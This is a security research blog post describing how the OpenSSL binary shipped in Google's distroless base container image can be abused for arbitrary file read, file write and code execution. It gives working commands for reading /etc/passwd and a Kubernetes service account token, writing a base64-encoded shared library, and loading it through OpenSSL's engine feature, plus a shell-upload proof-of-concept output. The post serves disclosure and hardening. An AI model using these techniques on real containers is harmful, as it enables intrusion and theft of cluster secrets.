Exploiting Distroless Images

Blogs· 7min September 22, 2022

An abuse of functionality in the OpenSSL binary, installed in the official Google Container Tools Distroless Base container image, allows for command execution and arbitrary file read and write on distroless containers. By abusing the enc functionality in the OpenSSL binary it is possible to read and write to the filesystem using the -in and -out options and combining the write to the filesystem capability with the engine functionality that allows us to load shared libraries, it is possible to obtain command execution by uploading and loading malicious library.

This post will cover:

Attack Surface

Distroless images contain only the application and its runtime dependencies. They do not contain package managers, shells or any other programs you would expect to find in a standard Linux distribution. Without non-essential executables and libraries, distroless images are often recommended for their performance, size and security due to the reduced attack surface. However, as we will see not all distroless images are built the same.

Product URLs

The Distroless Base image (gcr.io/distroless/base) contains the OpenSSL package, installed by the following bazel script https://github.com/GoogleContainerTools/distroless/blob/main/base/base.bzl

[...snip...]
    container_image(
        name = "base_" + user + "_" + arch + distro_suffix,
        architecture = arch,
        base = ":static_" + user + "_" + arch + distro_suffix,
        debs = [
            DISTRO_PACKAGES[arch][distro_suffix]["libc6"],
            DISTRO_PACKAGES[arch][distro_suffix]["libssl1.1"],
            DISTRO_PACKAGES[arch][distro_suffix]["openssl"],
        ],
    )
[...snip...]

The OpenSSL package installs two executable binaries the c_rehash and the openssl in the /usr/bin/ directory.

# dpkg -L openssl | grep bin/
/usr/bin/c_rehash
/usr/bin/openssl

Abusing OpenSSL functionalities

To demonstrate the vulnerabilities we will use a docker container running a simple Golang application on a distroless base image.

main.go

package main

import (
	"fmt"
	"time"
)

func main() {
	for {
		fmt.Println("Hello world!")
		time.Sleep(time.Second * 1)
	}
}

Dockerfile

FROM golang:1.18 as builder

WORKDIR /go/src/app
ADD . /go/src/app

RUN go get -d -v ./...

RUN go build -o /go/bin/app

FROM gcr.io/distroless/base
COPY --from=builder /go/bin/app /
CMD ["/app"]

Building the docker image.

% docker build -t distroless-demo .
[...snip...]

Running the container and verifying that the application is working as intended.

% docker run --name demo -d distroless-demo
fad9d33c2a467cf92bdc3c011f9dfe9ecbf5f2ed7da5b8a6b2c82ea8b7511199
% docker attach demo                           
Hello world!
Hello world!
Hello world!
read escape sequence

And as expected there is no shell available in the container.

% docker exec -it demo /bin/sh   
OCI runtime exec failed: exec failed: container_linux.go:380: starting 
container process caused: exec: "/bin/sh": stat /bin/sh: no such file or 
directory: unknown  

But OpenSSL provides and interactive command prompt that can be abused.

% docker exec -it demo /usr/bin/openssl
OpenSSL>

OpenSSL available commands.

OpenSSL> help 
Standard commands
asn1parse         ca                ciphers           cms               
crl               crl2pkcs7         dgst              dhparam           
dsa               dsaparam          ec                ecparam           
enc               engine            errstr            gendsa            
genpkey           genrsa            help              list              
nseq              ocsp              passwd            pkcs12            
pkcs7             pkcs8             pkey              pkeyparam         
pkeyutl           prime             rand              rehash            
req               rsa               rsautl            s_client          
s_server          s_time            sess_id           smime             
speed             spkac             srp               storeutl          
ts                verify            version           x509              

Message Digest commands (see the `dgst' command for more details)
blake2b512        blake2s256        gost              md4               
md5               rmd160            sha1              sha224            
sha256            sha3-224          sha3-256          sha3-384          
sha3-512          sha384            sha512            sha512-224        
sha512-256        shake128          shake256          sm3               

Cipher commands (see the `enc' command for more details)
aes-128-cbc       aes-128-ecb       aes-192-cbc       aes-192-ecb       
aes-256-cbc       aes-256-ecb       aria-128-cbc      aria-128-cfb      
aria-128-cfb1     aria-128-cfb8     aria-128-ctr      aria-128-ecb      
aria-128-ofb      aria-192-cbc      aria-192-cfb      aria-192-cfb1     
aria-192-cfb8     aria-192-ctr      aria-192-ecb      aria-192-ofb      
aria-256-cbc      aria-256-cfb      aria-256-cfb1     aria-256-cfb8     
aria-256-ctr      aria-256-ecb      aria-256-ofb      base64            
bf                bf-cbc            bf-cfb            bf-ecb            
bf-ofb            camellia-128-cbc  camellia-128-ecb  camellia-192-cbc  
camellia-192-ecb  camellia-256-cbc  camellia-256-ecb  cast              
cast-cbc          cast5-cbc         cast5-cfb         cast5-ecb         
cast5-ofb         des               des-cbc           des-cfb           
des-ecb           des-ede           des-ede-cbc       des-ede-cfb       
des-ede-ofb       des-ede3          des-ede3-cbc      des-ede3-cfb      
des-ede3-ofb      des-ofb           des3              desx              
rc2               rc2-40-cbc        rc2-64-cbc        rc2-cbc           
rc2-cfb           rc2-ecb           rc2-ofb           rc4               
rc4-40            seed              seed-cbc          seed-cfb          
seed-ecb          seed-ofb          sm4-cbc           sm4-cfb           
sm4-ctr           sm4-ecb           sm4-ofb           

Exploitation details

1. Reading arbitrary files, no kubectl cp no problem!

Abusing the OpenSSL enc functionality allows us to read files inside the container filesystem.

% docker exec -it demo /usr/bin/openssl
OpenSSL> enc -in /etc/passwd
root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin
OpenSSL>

2. Writing and executing custom "malicious" binaries

Abusing OpenSSL enc and engine functionalities allows us to write and execute a custom library running our "malicious" code.

Setup

Custom library source code.

#include <openssl/engine.h>
#include <sys/utsname.h>

static int bind(ENGINE *e, const char *id) {

  struct utsname buf;
  uname(&buf);

  printf("Hostname: %s" ,buf.nodename);

  return 1;
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

Compilling the library using gcc.

sudo apt install openssl-devel -y
gcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o

Base64 encode the library.

base64 ./hostname.so
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO
[...snip...]

Writing the payload

Writing the base64 encoded library using the OpenSSL enc functionality.

% docker exec -it demo /usr/bin/openssl                       
OpenSSL> enc -d -a -out /tmp/hostname.so
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAgBAAAAAAAABAAAAAAAAAAEgxAAAAAAAAAAAAAEAAO
[...snip...]
AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
OpenSSL>

Executing the payload

Executing the custom library using the OpenSSL engine functionality and print the container hostname.

% docker exec -it demo /usr/bin/openssl engine /tmp/hostname.so
Hostname: d68dc92b5c99(/tmp/hostname.so) <NULL>

Attack scenarios

  • In a command injection attack, when an application running on a distroless base image executes unsafe user-supplied data, an adversary can abuse OpenSSL to perform actions otherwise not possible, like reading files or instaling custom attack tools.
  • In a scenario where an adversary has obtained access to a Kubernetes cluster, he can abuse OpenSSL installed on the distroless base image to read the service account tokens, secrets injected or mounted in the filesystem and even gain interactive command execution by uploading a custom shell.

Reading the Kubernets service account token using OpenSSL.

% kubectl exec -it distroless -- /usr/bin/openssl enc -in /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6ImRpTVR5QnNxcXhLUjNzYUFSYW14TGdoZHZLNkJ6aTVD
[...snip...]

Gaining interactive command execution by uploading a custom shell.

python3 poc.py
[*] Uploading the shell
[*] Uploading the payload
[*] Executing the payload
[*] Getting a shell
# set
GOTRACEBACK='single'
HOME='/root'
HOSTNAME='distroless'
IFS=' 
'
KUBERNETES_PORT='tcp://10.43.0.1:443'
KUBERNETES_PORT_443_TCP='tcp://10.43.0.1:443'
KUBERNETES_PORT_443_TCP_ADDR='10.43.0.1'
KUBERNETES_PORT_443_TCP_PORT='443'
KUBERNETES_PORT_443_TCP_PROTO='tcp'
KUBERNETES_SERVICE_HOST='10.43.0.1'
KUBERNETES_SERVICE_PORT='443'
KUBERNETES_SERVICE_PORT_HTTPS='443'
LINENO=''
OPTIND='1'
PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
PPID='0'
PS1='# '
PS2='> '
PS4='+ '
PWD='/'
SSL_CERT_FILE='/etc/ssl/certs/ca-certificates.crt'
TERM='xterm'
# 

Conclusion

Not all Distroless images (static, base, ...) are created equal, and this should be taken into account when selecting a base image for critical projects. This issue was reported to Google in August 2021 and Google decided not to fix it.

Written by

github-icongithub-icon
Daniel Teixeira Lead of Offensive Security

Daniel Teixeira is Lead of Offensive Security at Form3. He's passionate about security particularly interested in adversary simulation, vulnerability research and exploit development. He has authored the course "Penetration Testing in Action" on Pluralsight and the book "Metasploit Penetration Testing Cookbook" with Packt Publishing.